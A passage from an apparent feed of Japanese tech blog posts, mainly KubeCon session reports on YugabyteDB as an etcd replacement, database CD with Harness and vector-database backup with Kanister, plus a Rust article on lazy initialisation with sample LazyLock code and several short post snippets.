YugabyteDBYugabyteDBとは?YugabyteDBは、PostgreSQL互換の分散SQLデータベースです。クエリレイヤはPostgreSQLからフォークされ、ストレージレイヤはLSMツリーベースの実装1を採用しています。複数サーバ・複数リージョンでの運用が可能で、クエリ分散やノード障害時の継続動作を実現します。etcdと同様にRaftプロトコルを利用することで、データの一貫性を確保し、ネットワーク分断時のスプリットブレインにも対応します。このセクションはYugabyteDBの特徴を説明し、高可用性と分散性を備えたデータベースとしての利点を明確に示しています。etcdの代替としてYugabyteDBを検討する際に、この情報は非常に重要です。デモyoutu.beYugabyteDBクラスタ上でk3sを実行するデモでは、PostgreSQLの場合とほぼ同様の手順でKubernetesを起動できることが示されました。YugabyteDBのダッシュボードを用いて、データベースの情報やKineが作成した情報を確認できる点も強調されました。さらに、Kubernetesのサンプルアプリを起動することで、etcdベースのKubernetesと同等の動作が確認されました。1台のCompute Engineを停止させることでYugabyteDBノードの障害をシミュレートし、データベースとKubernetesが継続して動作することを実証しました。このデモは、YugabyteDBの耐障害性と高可用性を視覚的に示し、実運用環境での信頼性を裏付けています。結論このセッションは、KineとYugabyteDBを用いることで、etcdの代替としてリレーショナルデータベースをKubernetesのメタデータストアとして利用できることを示しました。特に、YugabyteDBの分散性と耐障害性は、大規模Kubernetesクラスタの運用においてetcdのスケーラビリティやコントリビュータ不足といった課題を解決する可能性を示唆しています。ただし、YugabyteDBの導入には運用コストや学習コストといった新たな課題も発生するため、etcdとの比較検討が必要です。同様にセッションではKineをネイティブに利用しているk3sを利用していますが、k3sはあくまでKubernetesの軽量ディストリビューションであるため完全に同じものではないため、本当にk3sで良いのかという比較検討も必要になります。またセッション内では100を超えるノードから構成されるKubernetesクラスタではetcdのスケーラビリティが足りず、他のメタデータストアが必要になると紹介していますが、なぜ必要になるかは説明が不足していると感じました。これはKubernetesクラスタが大規模化することでAPIサーバが発行するクエリがetcdの対応可能な10000 rpsを越え始めるためです。より詳細な説明はGoogle Cloudの65000ノードを越えるGKEクラスタをSpannerでホストしていることを紹介しているブログが参考になるでしょう。cloud.google.com","isoDate":"2024-12-15T14:16:36.000Z","dateMiliSeconds":1734272196000,"authorName":"NAKADATE Naoki","authorId":"nnaka2992"},{"title":"Kubernetes The Hard Wayにトライする","link":"https://zenn.dev/moz_sec/articles/0dbb3b7dd08ab3","contentSnippet":"KuberenetesKubernetesとは、複数のコンピュータでコンテナをいい感じに動かしてくれるものです。Kubernetesの説明はいろんなサイトに書いてあるため、そちらを参照してください。公式サイトも参考になります。https://kubernetes.io/docs/concepts/overview/ Kuberentes The Hard WayKubernetes The Hard Wayとは、kubeadmやkubesplayのような、クラスタ構築ツールに頼らず、コンテナランタイムや各コンポーネントを自分でインストールして、設定をし、Kubernetes...","isoDate":"2024-12-15T12:14:59.000Z","dateMiliSeconds":1734264899000,"authorName":"Kobayashi Shun","authorId":"moz-sec"},{"title":"Reckoner における Datadog Error Tracking の活用事例","link":"https://zenn.dev/nomadblacky/articles/1901ceb9154c7b","contentSnippet":"この記事は、3-shake Advent Calendar 2024 の 15 日目の記事です。 はじめに私の所属する株式会社スリーシェイクでは、Reckoner というデータパイプライン構築の SaaS を開発しています。https://reckoner.io/「SaaSをつなぐ。業務が変わる。ビジネスが進化する。」直感的なユーザーインターフェイスで、多種多様な SaaS のデータをつなぎ合わせることで、データ活用・データの民主化を実現します。Reckoner では多種多様な連携先に対応しているため、様々なエラーが発生する可能性があります。そのため、エラーの迅速な発見と...","isoDate":"2024-12-15T10:35:38.000Z","dateMiliSeconds":1734258938000,"authorName":"Takumi Kadowaki","authorId":"nomadblacky"},{"title":"Japan.R 2024に参加した","link":"https://blog.atusy.net/2024/12/15/japanr-2024/","contentSnippet":"Hadley氏を筆頭に、本番環境や実務でRを使う話が多くて印象深かった回。色々な話を聞けてよかった。2019年以来のオフライン開催で久しくお会いしていなかった方とお話できたこと、光栄にも私に会ってみたかったという方に挨拶頂けたりブログが参考になったと言っていただけたこと、発表に対して直に感想をやりとりできたことなど、現地入りしてよかったなあと思います。","isoDate":"2024-12-15T00:00:00.000Z","dateMiliSeconds":1734220800000,"authorName":"Atsushi Yasumoto","authorId":"atusy"},{"title":"KubeCon NA 2024: Database DevOps: CD for Stateful Applicationsのセッションレポート","link":"https://nnaka2992.hatenablog.com/entry/2024/12/14/database_devops_cd_for_stateful_applications","contentSnippet":"この記事は以下アドベントカレンダー14日目の記事です。3-shake Advent Calendar 2024 シリーズ2Kubernetes Advent Calendar 2024 シリーズ1Database DevOps: CD for Stateful Applications セッションレポートセッション概要:https://kccncna2024.sched.com/event/1i7na/database-devops-cd-for-stateful-applications-stephen-atwell-harnessio-christopher-crow-pure-storage?linkback=grid-fullセッションスライドhttps://static.sched.com/hosted_files/kccncna2024/86/Harness-Portworx%20Kubecon%202024.pdfこの記事内の画像は全てこのスライドより引用しています。セッション動画 www.youtube.comこのレポートでは、KubeCon + CloudNativeCon North America 2024 のセッション「Database DevOps: CD for Stateful Applications」の内容をまとめたもので、DatabaseのDevOpsとステートフルアプリケーションの継続的デリバリについてです。データベースCDの課題と解決策セッションでは、データパイプラインのデータテストをデリバリパイプラインに統合することの重要性が強調されていました。従来、データベースのテストは、BIツールなどを用いたカスタマイズされた方法で行われることが多かったようですが、最も信頼性の高いテスト方法は、新旧バージョンで同じデータに対してテストを実行することだとスピーカーは主張していました。そして、Kubernetesはこのようなテストを大幅に簡略化できるとのことでした。この主張は、データベースの変更がアプリケーション全体に及ぼす影響を正確に把握し、本番環境へのデプロイ前に潜在的な問題を早期に発見するために非常に重要です。Kubernetesによるデータベース運用の進化セッションで紹介されたアーキテクチャの進化は、Kubernetesがデータベース運用にもたらす利点を明確に示していました。初期のアーキテクチャでは、アプリケーション、データベース、インフラストラクチャの変更が個別に管理されていましたが、発展したアーキテクチャでは、これらが統合されたCI/CDパイプラインで管理されています。この統合により、アプリケーション、データベース、インフラストラクチャの変更をE2Eでテストできるようになり、本番環境へのデプロイリスクを大幅に軽減できます。このアーキテクチャの進化は、マイクロサービスアーキテクチャやクラウドネイティブ開発との親和性が高いと言えます。マイクロサービスでは、個々のサービスが独立してデプロイされるため、データベースの変更が他のサービスに及ぼす影響を正確に把握することが重要です。Kubernetesはこのような複雑な依存関係を管理し、安全なデプロイを実現するための強力なプラットフォームを提供します。デモのオーバービューセッションでは、具体的なスキーママイグレーションのシナリオを例に、ダウンタイムゼロでのデータベース変更を実現する方法が紹介されていました。WarehouseテーブルのLocationカラムの衝突問題を解決するために、CityとStateカラムを追加し、Locationカラムとの同期をトリガーで実現する方法は、実務で非常に役立つアプローチです。この手法は、データベースの変更によるアプリケーションへの影響を最小限に抑え、ユーザー体験を損なうことなくシステムを進化させることを可能にします。デモで利用されるCDパイプラインデモで適用されるデータベースへの変更個人的にはこのようなユースケースのテストシナリオは複雑になることが多いと考えていたため、自動化を行うには相当のカスタマイズが必要になると思っていたので、この後のデモの手軽さには非常に驚かされました。デモのハイライトとHarnessの活用youtu.beこのセッションはデモが全体のほとんどを閉めています。デモ開始時点のリンクがブログ記事の中盤にあるので、デモ部分だけでもご覧になることを強く推奨します。セッションのデモでは、Harnessというツールが使用され、変更プロセスとロールバック手順が分かりやすく可視化されていました。Harnessは、GitLab CI/CDやGitHub ActionsのようなUIを提供し、各ステップの成功/失敗を容易に確認できる点が優れていると感じました。特に、ArgoCDとの連携によるデータベースとアプリケーションの協調動作は、複雑なデプロイプロセスを簡素化する上で非常に効果的です。デモで紹介された、望ましい状態になっていないことを確認し、変更を加えるプロセスは、実践的な知見を提供していました。また、データベースの変更セットの一部として事前にロールバック手順を定義しておくことは、本番環境での予期せぬ問題発生時に迅速な対応を可能にするベストプラクティスと言えるでしょう。LiquibaseやFlywayなどのツールはこのような機能を提供しており、データベースDevOpsの実践において不可欠です。HarnessではデータベースのDevOpsをアプリケーション、インフラストラクチャー込みで実現しており、非常に理想的なツールのように見えました。一方でこのセッションのスピーカーのひとりはHarnes.ioのエンジニアであるため、ポジショントークや見せたい部分しか見せていないことが十分考えられるので全てを鵜呑みにするのは危険です。それを差し引いても興味深いデモだったので、セッションで紹介された技術スタックを検証してみたいと思っています。まとめこのセッションは、Kubernetesとツールを活用することで、データベースの変更を安全かつ効率的に行う方法を示していました。E2Eテスト、ダウンタイムゼロのスキーママイグレーション、そしてロールバック手順の自動化は、データベースDevOpsを実現するための重要な要素です。これらの手法を適切に組み合わせることで、開発速度を向上させながら、システムの安定性と信頼性を維持することが可能になります。しかし、ここで紹介された手法は全ての状況に適用できるわけではありません。例えば、大規模なデータベースや複雑なトランザクション処理を行うシステムでは、ダウンタイムゼロのマイグレーションが困難な場合があります。そのようなケースでは、段階的なロールアウトやカナリアリリースなどの手法を検討する必要があります. また、ツールの導入や運用にはコストがかかるため、組織の規模やリソースに合わせて適切なツールを選択することが重要です。今後のデータベース運用においては、自動化と可観測性をさらに強化し、自己修復機能を備えた自律的なデータベース運用を目指していくことが重要だと考えます。Kubernetesやクラウドネイティブ技術は、この目標を実現するための基盤となるでしょう。またこのセッションを見るまで、個人的にDatabase on KubernetesはKubernetesを利用している組織でマネージドデータベースのコストを安くしたい場合や、データを自分たちのコントロールできる場所におきたい時に利用する選択肢と思っていました。しかしデータベースをKubenetesにデプロイすることでアプリケーションと密接に結合したテストを簡単に行えることがわかり、データベースの運用コストさえ許容できれば、他のメリットがなくてもデータベースをKubernetesで運用するのは十分ありなのではないかと意見が変わりました。今後は単なるデータベースのホスティング環境としてのKubernetes以外の部分にも注目していきたいです。","isoDate":"2024-12-14T18:55:02.000Z","dateMiliSeconds":1734202502000,"authorName":"NAKADATE Naoki","authorId":"nnaka2992"},{"title":"初回実行が遅ければ遅延初期化でやればいいじゃない - RustのTUIアプリケーション改善","link":"https://syu-m-5151.hatenablog.com/entry/2024/12/14/121545","contentSnippet":"この記事はRust Advent Calendar 2024 シリーズ3の15日目の記事です。はじめにみなさん、アプリケーションの初回実行の遅さに悩んでいませんか?「初回の検索が遅い...」「起動に時間がかかる...」「ユーザーから苦情が...」といった問題は、多くの開発者が直面する共通の課題です。実は、こういった問題の多くは初期化のタイミングを工夫することで効果的に解決できます。特にRustの場合、遅延初期化の仕組みを積極的に活用することで、パフォーマンスとユーザー体験を大きく改善することが可能です。初期化処理を適切なタイミングで実行することで、アプリケーションの応答性を保ちながら、必要なデータの準備を効率的に行うことができるのです。今回は郵便番号検索アプリケーション(jposta)を具体例として、初期化の最適化手法について詳しく見ていきましょう。この実践的なケーススタディを通じて、効果的な初期化戦略の実装方法を学んでいきます。github.com遅延初期化とは遅延初期化は、「必要になるまで初期化を待つ」という考え方を基本とする重要な最適化テクニックです。アプリケーションの起動時に全てのデータを一度に読み込むのではなく、そのデータが実際に使用されるタイミングまで読み込みを延期することで、システムの効率性を高めることができます。ja.wikipedia.org特に重要な利点として、アプリケーションの起動時間の大幅な短縮が挙げられます。全ての機能を一度に初期化する代わりに、必要な機能から順次初期化することで、ユーザーは最小限の待ち時間でアプリケーションの使用を開始できます。また、大きな設定ファイルの読み込みやデータベース接続の確立、重いライブラリの初期化、キャッシュの構築といったリソース集約的な操作を必要なタイミングまで延期することで、メモリやCPUなどの限られたリソースを効率的に活用することが可能となります。さらに、遅延初期化は複雑な依存関係を持つシステムにおいても効果的です。複数のコンポーネントが互いに依存し合う状況では、初期化の順序が問題となることがありますが、各コンポーネントを必要に応じて初期化することで、この課題を自然に解決できます。加えて、テスト容易性の向上も重要な利点です。必要なコンポーネントだけを初期化できることで、単体テストやモジュールテストが容易になり、テストの実行速度も向上します。また、エラーハンドリングの改善にも貢献します。初期化時のエラーを早期に検出できるだけでなく、実際に使用されないコンポーネントの初期化エラーを回避することができます。運用環境での柔軟性も高まり、システムの一部機能が利用できない状況でも、他の機能を正常に動作させることが可能になります。このように、遅延初期化は現代のソフトウェア開発において、パフォーマンス、保守性、信頼性の面で多くのメリットをもたらす重要な設計パターンとなっています。blog1.mammb.comRustにおける遅延初期化の進化Rustにおける遅延初期化の歴史は、2014年に登場したlazy_staticから始まり、これはマクロベースの実装でスレッドセーフ性に課題があり、型の制約も厳しいものでした。github.comその後、2020年にはonce_cellが登場し、マクロを必要としないシンプルなAPIとスレッドセーフな実装、より柔軟な型のサポートを提供することで、遅延初期化の実装が大きく改善されました。github.comそして2024年になると、LazyCell/LazyLockが標準ライブラリに統合され、さらなる最適化と依存関係の削減が実現され、Rustの遅延初期化機能は新たな段階へと進化を遂げています。blog.rust-lang.orgこのように、Rustの遅延初期化は時代とともに進化し、より使いやすく堅牢な実装へと発展してきました。techblog.paild.co.jp問題の理解:なぜ初期処理が必要か?まず、jpostcode_rsライブラリの実装を見てみましょう:use std::sync::LazyLock;static ADDRESS_MAP: LazyLock>> = LazyLock::new(|| { let data = include_str!(concat!(env!(\\"OUT_DIR\\"), \\"/address_data.json\\")); let raw_map: HashMap = serde_json::from_str(data).expect(\\"Failed to parse raw data\\"); // ...});このコードの重要なポイントは、LazyLockによる遅延初期化を採用することで、JSONデータの初回アクセス時までパースを延期し、必要なタイミングでメモリへの展開を行う設計となっているということです。このコードから分かるように、初回アクセス時のパフォーマンス低下は遅延初期化の仕組みに起因しています。そこで私たちは、この遅延初期化の特性を活用し、ユーザーが実際にアクセスする前に初期化を完了させる戦略を考案しました。解決策:遅延初期化を活用した初期処理従来の初期化パターンfn new() -> App { let (search_tx, search_rx) = mpsc::channel::(); let (result_tx, result_rx) = mpsc::channel(); thread::spawn(move || { while let Ok(query) = search_rx.recv() { // 初回検索時にデータ初期化が発生 = 遅い! } }); App { /* ... */ }}改善後:標準ライブラリの機能を活用use std::sync::{LazyLock, Mutex};// グローバルな初期化フラグstatic INITIALIZED: LazyLock> = LazyLock::new(|| Mutex::new(false));impl App { fn new() -> App { let (search_tx, search_rx) = mpsc::channel::(); let (result_tx, result_rx) = mpsc::channel(); thread::spawn(move || { // バックグラウンドで初期化 { let mut init = INITIALIZED.lock().unwrap(); if !*init { // 軽いクエリで事前初期化をトリガー let _ = lookup_addresses(\\"100\\"); let _ = search_by_address(\\"東京\\"); *init = true; } } // 以降の検索は初期化済みのデータを使用 let mut cache: HashMap> = HashMap::new(); while let Ok(query) = search_rx.recv() { // 通常の検索処理 } }); App { /* ... */ } }}この手法の効果とメリットとデメリットこの手法の中核となる標準ライブラリのLazyLockやMutexなどの基本機能は、追加のライブラリを必要としない堅牢な実装を可能にします。既存のRustプログラマーにとって馴染みのある仕組みを使用しているため、コードの理解や保守が容易であり、依存関係も最小限に抑えることができます。また、これらの機能は既にRustチームによって最適化され、徹底的にテストされているため、高いパフォーマンスと信頼性が保証されています。システムの保守性と運用面では、初期化ロジックの集中管理により、状態管理が大幅に簡素化されます。INITIALIZEDフラグを用いた明示的な制御により、初期化状態の追跡が容易になり、デバッグ性も向上します。さらに、初期化処理をバックグラウンドスレッドで実行することで、メインスレッドのブロッキングを避け、UIの即時表示とレスポンシブな操作感を実現できます。スケーラビリティの観点からは、新機能の追加や初期化順序の制御が柔軟に行えるため、システムの成長に合わせた拡張が容易です。Mutexによる適切な同期制御により、複数スレッドからの安全なアクセスが保証され、並行処理との親和性も高くなっています。また、必要なデータの予測的な先読みとメモリ使用の最適化により、効率的なリソース管理が可能です。初期化処理のモジュール化により、新しい機能の追加時も既存コードへの影響を最小限に抑えられ、キャッシュの効果的な活用によって、大規模なアプリケーションでも高いパフォーマンスを維持できます。一方で、この手法にはいくつかの重要な課題も存在します。まず、メモリ使用量の増加が挙げられます。事前初期化アプローチでは、実際には使用されない可能性のあるデータ構造も含めて、すべてのデータをメモリに展開する必要があります。これは特にメモリリソースが限られている環境において深刻な問題となる可能性があり、システムの全体的なパフォーマンスに影響を与える可能性があります。また、起動時のリソース消費も重要な課題です。バックグラウンドでの初期化処理は、システムの起動時により多くのCPUとメモリリソースを必要とします。特にモバイルデバイスやバッテリー駆動の機器では、この追加のリソース消費が電力効率に悪影響を及ぼす可能性があります。ユーザーの使用パターンによっては、この初期化コストが実際の便益を上回ってしまう場合もあります。さらに、実装の複雑性が増加することも大きな課題です。遅延初期化と事前初期化を組み合わせることで、コードベースの複雑性が著しく増加します。特に初期化の順序や依存関係の管理が複雑になり、開発者がシステムの動作を理解し、デバッグすることが困難になる可能性があります。この複雑性は、新しい機能の追加や既存機能の修正時にも影響を及ぼし、開発効率の低下につながる可能性があります。テストの複雑化も見過ごせない問題です。バックグラウンド初期化を含むコードのテストでは、タイミングや状態管理の観点から、適切なテストケースの作成と実行が困難になります。特に並行処理に関連するバグの再現や検証が複雑になり、品質保証のプロセスに追加の負担がかかる可能性があります。最後に、エラーハンドリングの複雑化も重要な課題です。バックグラウンドでの初期化中に発生したエラーの適切な処理と、それに対するユーザーへの適切なフィードバック提供が技術的な課題となります。エラーが発生した場合の回復処理や、部分的な機能提供の実装も複雑になり、システムの信頼性と保守性に影響を与える可能性があります。このように、標準ライブラリの機能を活用した実装は多くの利点をもたらす一方で、システムの要件や制約に応じて、これらのデメリットを慎重に検討する必要があります。実装時には、これらのトレードオフを考慮しながら、適切な設計判断を行うことが重要となります。実装時の注意点デッドロックの防止{ // スコープによるロックの制限 let mut init = INITIALIZED.lock().unwrap(); if !*init { *init = true; }} // ロックの自動解放初期化の冪等性if !*init { // 複数回実行されても安全な実装に let _ = lookup_addresses(\\"100\\"); *init = true;}まとめ私たちは「初回アクセスが遅いなら、事前に必要な処理を済ませておこう」というシンプルながら実用的なアプローチについて、Rustの標準ライブラリの遅延初期化機構を通じて検討してきました。この手法には、メモリ使用量の増加やコードの複雑化といった課題も存在しますが、適切に実装することで大きな効果が期待できます。標準ライブラリの機能を活用し、依存関係を最小限に抑えながら、スレッドセーフな実装を実現することで、効率的かつ安全な初期化処理が可能となります。このように、遅延初期化と事前初期化を組み合わせたアプローチは、システムの特性や要件に応じて検討すべき重要な最適化パターンの一つと言えるでしょう。参考文献The Rust Standard Library - std::sync::LazyLockThe Rust Standard Library - std::cell::LazyCellRust Performance Book","isoDate":"2024-12-14T03:15:45.000Z","dateMiliSeconds":1734146145000,"authorName":"nwiizo","authorId":"nwiizo"},{"title":"Cloud Deploy で Cloud Run functions に継続的デリバリーする","link":"https://zenn.dev/kimitsu/articles/cloud-deploy-cloud-run-functions","contentSnippet":"Cloud Deploy は継続的デリバリーを行うための Google Cloud のフルマネージドサービスです。標準では Google Kubernetes Engine と Cloud Run (service と job) へのデプロイをサポートしていますが、カスタムターゲットを定義することでそれ以外の対象にもデプロイすることができます。今回はカスタムターゲットを利用して Cloud Run functions へのデプロイを自動化してみます。本記事では Cloud Deploy の基本的な概念(ターゲット、リリース、デプロイパイプラインなど)については説明しません。これら...","isoDate":"2024-12-14T01:17:49.000Z","dateMiliSeconds":1734139069000,"authorName":"Yunosuke Yamada","authorId":"yyamada"},{"title":"KubeCon NA 2024: Building Resilience: Effective Backup and Disaster Recovery for Vector Databases on Kubernetes のセッションレポート","link":"https://nnaka2992.hatenablog.com/entry/2024/12/13/building_resilienc_effective_backup_and_disaster_recovery_for_database_on_lubernetes","contentSnippet":"この記事は以下アドベントカレンダー13日目の記事です。3-shake Advent Calendar 2024 シリーズ2Kubernetes Advent Calendar 2024 シリーズ2Building Resilience: Effective Backup and Disaster Recovery for Vector Databases on Kubernetes セッションレポートセッション概要:https://kccncna2024.sched.com/event/1i7kn/when-life-gives-you-containers-make-an-open-source-rds-a-kubernetes-love-story-sergey-pronin-perconawww.youtube.comKubeCon + CloudNativeCon North America 2024 のセッション \\"Building Resilience: Effective Backup and Disaster Recovery for Vector Databases on Kubernetes\\" は、AI アプリケーションにおけるベクトルデータベースの重要性と、Kubernetes 上での堅牢なデータ保護戦略の必要性を強調した示唆に富む内容でした。マーケティング的な観点や、聴衆の興味を引くためといった理由からかタイトルでベクトルデータベースとなっていますが、バックアップの部分ではあらゆるデータベースやステートフルワークロードに応用ができる内容でした。AI and Kubernetesセッションは、AI がアプリケーションにもたらす変革的な影響についての概説から始まりました。リソース需要予測による動的スケーリング、異常検知によるセキュリティ向上、UX の改善、そして事前の障害予測による可用性向上など、AI はアプリケーションのあらゆる側面を最適化する可能性を秘めています。そして、これらのメリットを実現する上で、Kubernetes が最適なプラットフォームとして位置づけられています。迅速なデプロイ、高可用性とスケーラビリティ、可搬性と柔軟性、分散ワークロード管理の効率化、そして効率的なバックアップとリカバリといった Kubernetes の特徴は、AI ワークロードの運用に不可欠な要素です。特に、データベースを Kubernetes 上で運用する組織が増加しているという Data on Kubernetes のレポートの言及は、AI/ML ワークロードとデータベース運用の密接な関係性を示唆しており、データベースエンジニアとして注目すべき点でした。Kubernetes がステートフルなアプリケーションの運用基盤として成熟しつつあることを改めて認識させられました。Kubernetes上でAIアプリケーションをデプロイする理由セッションでは、Kubernetes上でAIアプリケーションをデプロイする理由として、迅速なデプロイ、高可用性とスケーラビリティ、可搬性と柔軟性、分散ワークロードの管理の効率化、効率的なバックアップとリカバリ、そしてエコシステムとコミュニティの発展が挙げられていました。これらの利点は、クラウドネイティブな開発と運用を目指す上で非常に重要です。特に、マイクロサービスアーキテクチャを採用する際に、Kubernetes はサービスのデプロイと管理を簡素化し、スケーラビリティと可用性を向上させる上で強力なツールとなります。さらに、ベクトルデータベースのようなステートフルなサービスを Kubernetes 上で運用することで、データの永続性と可用性を確保し、AI アプリケーションの信頼性を向上させることができます。Vector Databases and RAGセッションの中核を成すのが、ベクトルデータベースと RAG (Retrieval Augmented Generation) の解説です。非構造化データの増加に伴い、従来のデータベースでは対応が難しくなってきた画像、テキスト、音声といったデータの効率的な処理が求められています。ベクトルデータベースは、これらの非構造化データをベクトル表現に変換し、類似度検索によって関連性の高い情報を高速に取得することを可能にします。Embedding Model を用いたベクトル化によって、意味的な検索が可能になり、AI アプリケーションの精度と効率性が向上する点が強調されていました。特に、生成 AI アプリケーションにおけるハルシネーション軽減とコンテキスト付与におけるベクトルデータベースの役割は重要です。RAG は、ベクトルデータベースを用いて関連情報を取得し、生成 AI の出力に信頼性を与える手法として紹介されており、今後の AI アプリケーション開発において不可欠な要素となるでしょう。ベクトルデータベースのユースケースセッションでは、ベクトルデータベースのユースケースとして、検索エンジン、画像検索、推薦アルゴリズム、異常検知、そしてチャットボットなどの生成 AI アプリケーションが挙げられていました。これらのユースケースは、現代のアプリケーション開発において非常に重要であり、ベクトルデータベースの適用範囲の広さを示しています。特に、マイクロサービスアーキテクチャにおいて、ベクトルデータベースを独立したサービスとして提供することで、様々なサービスから容易にアクセスできるようになり、システム全体の柔軟性と拡張性を向上させることができます。また、DevOps/SRE の実践においては、ベクトルデータベースの監視と運用を自動化することで、システムの信頼性と可用性を向上させることができます。Data Protectionデータ保護は、Kubernetes 上で運用されるベクトルデータベースにとって不可欠な要素です。データの整合性とセキュリティ、災害復旧、コストと時間の効率化、バージョンコントロール、そしてコンプライアンス規制への準拠など、データ保護は多岐にわたるメリットを提供します。セッションでは、Kubernetes 上でのベクトルデータベースのデータ保護方法として、ストレージスナップショット、データサービスを利用したストレージスナップショット、データサービスレベルのスナップショット、そしてこれらの組み合わせが紹介されました。PVC を利用した永続化データの保護は、Kubernetes ネイティブなデータ保護戦略を構築する上で重要なポイントです。Kanister のようなデータ保護ワークフロー管理ツールは、バックアップとリストアの手順を抽象化し、自動化することで、運用効率を大幅に向上させることができます。Kanister の Blueprint、Profile、ActionSet といった CRD を活用することで、柔軟なデータ保護ワークフローを定義し、Kubernetes の宣言的な運用を実現できます。Kanisterの動作Kanister の動作は、ActionSet が Controller に動作を開始するようにトリガーし、Controller が Blueprint を参照して定義されたオペレーションに従ってベクトルデータベースからバックアップを取得し、オブジェクトストレージに保存するという流れで実行されます。動作完了後、Controller は ActionSet に完了を伝え、ActionSet がユーザーに完了を通知します。この自動化されたワークフローは、データベースエンジニアの運用負荷を軽減し、ヒューマンエラーのリスクを最小限に抑える上で非常に有効です。また、バックアップとリストアのプロセスをコード化することで、再現性と信頼性を向上させることができます。Demoデモでは、書籍推薦チャットボット BookNest を例に、PostgreSQL と PGVector を利用したベクトルデータベースのバックアップとリストアのワークフローが紹介されました。提供された図とデモ動画は、Kanister を用いたデータ保護の実践的な方法を理解する上で非常に役立ちました。具体的な構成例を示すことで、視聴者は自身の環境に合わせたデータ保護戦略を検討する際の参考にすることができます。また、デモを通じて Kanister の操作方法やワークフローの定義方法を視覚的に理解することができ、実践的な知識を深めることができます。Kanister の Blueprint は Kubernetes の manifest 内で ShellScript を書くようなイメージでかけるため、すでに Kubernetesを利用している組織であれば利用に大きなハードルは少なそうだと感じました。Operator 化されたデータベースでは大きなメリットはないかもしれないですが、そうでないデータベースのバックアップや、Operator を使っていても複数の種類がある場合オペレーションの使用ツールの共通化という面で十分メリットがあるでしょう。Call to Actionセッションの締めくくりとして、AI アプリケーションとベクトルデータベースの重要性、そしてデータ保護の必要性が改めて強調されました。データ保護を Day 0 Operation と位置づけるというメッセージは、システム設計の初期段階からデータ保護を考慮することの重要性を示唆しています。システムの保守性、スケーラビリティ、セキュリティを確保する上で、データ保護は不可欠な要素であり、アプリケーション開発ライフサイクル全体を通じて考慮する必要があります。まとめこのセッションは、AI アプリケーションにおけるベクトルデータベースの重要性と、Kubernetes 上での堅牢なデータ保護戦略の構築方法について、具体的な例を交えながら分かりやすく解説していました。特に、Kanister のようなデータ保護ツールを活用することで、複雑なバックアップとリカバリのワークフローを簡素化し、自動化できる点が印象的でした。データベースを Kubernetes 上で運用する際には、データ保護を Day 0 Operation として捉え、Kanister のようなツールを活用することで、システムの信頼性と可用性を向上させることができます. セッションで提示された情報は、今後のデータベース運用戦略を検討する上で非常に貴重な示唆を与えてくれました。このセッションで扱われなかった点として、ベクトルデータベースの選択基準やパフォーマンスチューニング、そして異なるベクトルデータベースにおけるデータ保護戦略の差異などが挙げられます。今後のセッションでは、これらの点についても掘り下げて議論されることを期待します。","isoDate":"2024-12-13T08:57:05.000Z","dateMiliSeconds":1734080225000,"authorName":"NAKADATE Naoki","authorId":"nnaka2992"},{"title":"サッとかざして即起動! 推しグッズを神曲再生アイテムに(*\xb0∀\xb0)","link":"https://zenn.dev/nedoko_dok0dko/articles/9db9d10902ec03","contentSnippet":"※3-shake Advent Calendar 2024の13日目のエントリー記事です。本日、12月13日は金曜日。世の中では「ジェイソンの日」なんて言われています。とはいえ、生まれてこの方ジェイソンの映画を見ることがなかったためこの手の話についてはかなり縁遠い気がしていします。(JSONの方先に連想しちゃいますし)むしろ「華金だーー\(^o^)/」くらいしか考えていません。それしかありません。そんな社会人です。さて、今年もやってまいりましたアドベントカレンダー。2024年も引き続き参加させていただく運びとなりました。テーマは前回同様「技術・非技術関係なし!自由!」ということ...","isoDate":"2024-12-12T15:00:01.000Z","dateMiliSeconds":1734015601000,"authorName":"seno","authorId":"seno"},{"title":"Japan.R 2024で地域コミュニティのOsaka.Rについて発表した","link":"https://blog.atusy.net/2024/12/12/japanr-logging/","contentSnippet":"前の発表で力尽きてて、何も考えずに楽しくお話しちゃった回。","isoDate":"2024-12-12T00:00:00.000Z","dateMiliSeconds":1733961600000,"authorName":"Atsushi Yasumoto","authorId":"atusy"},{"title":"Rust 再学習戦記","link":"https://syu-m-5151.hatenablog.com/entry/2024/12/12/013950","contentSnippet":"プログラミング言語の再入門とは、未知の大地への探求というよりも、私たちが知っているはずの領域を新たな視点で見つめ直す営みです。それは初めての出会いのような激しい高揚感とは異なり、むしろ静かな再発見の過程といえるでしょう。この記事は3-shake Advent Calendar 2024 シリーズ2の12日目の記事です。はじめに2017年、私の心にRustという言語が静かに灯りを点しました。その光は、システムプログラミングの深い理解への憧れを呼び覚まし、私を導いていきました。情熱に突き動かされるように、DevOpsツールの創造から始まり、パケット解析の探究へ、そしてWebフレームワークの実装へと、私の歩みは広がっていきました。高速な実行速度と安全性という輝きに心を奪われながらも、未熟なエコシステムという現実が私たちの前に立ちはだかりました。パッケージの追従に心を砕き、破壊的な変更に耐え、そして孤独なメンテナンスの重みを感じながら、私は一時の別れを告げることを選びました。しかし2024年を迎えた今、私の目の前で世界は確かな変化を見せています。Rustの開発者満足度は非常に高い一方で、実務での採用はまだ限定的です。これは、現時点ではRustを業務で使用している開発者が比較的少なく、主に技術的な興味や言語の特徴に惹かれて自発的に選択している人が多いためかもしれません。まぁ何はともあれ、私もその魅力に惹かれた1人のエンジニア。最新のRustを探究すべく、再入門することにしました。私たちはどう学んでいるのか ――創発から見る認知の変化 (ちくまプリマー新書)作者:鈴木宏昭筑摩書房Amazonなぜ今、Rustなのか技術的な成熟Rustのエコシステムは大きく進化し、この数年で安定性が著しく向上しています。パッケージの破壊的変更は目に見えて減少し、Zero To Production In Rustをはじめとした実践的な運用ガイドの登場により、本番環境での運用ノウハウが充実してきました。さらに、日本語での技術記事や登壇資料も増え、日本語でのコミュニケーションも充実してきています。主要パッケージの品質向上と運用実績の蓄積により、開発環境全体の信頼性は大幅に高まっています。また、言語サーバーの進化やツールチェーンの充実により、開発効率も飛躍的に向上しました。実践的な機能面においても、目覚ましい進歩が見られます。エラーハンドリングの改善やWebAssemblyサポートの強化により、クロスプラットフォーム対応も一層充実しました。また、コンパイラの最適化改善による実行時オーバーヘッドの最小化や、所有権システムによるメモリ安全性の保証など、Rustの基本的な強みはさらに磨きがかかっています。特に、非同期プログラミングのエコシステムは大きく成熟し、堅牢な基盤が確立されています。また、2025年には2024 Rdition 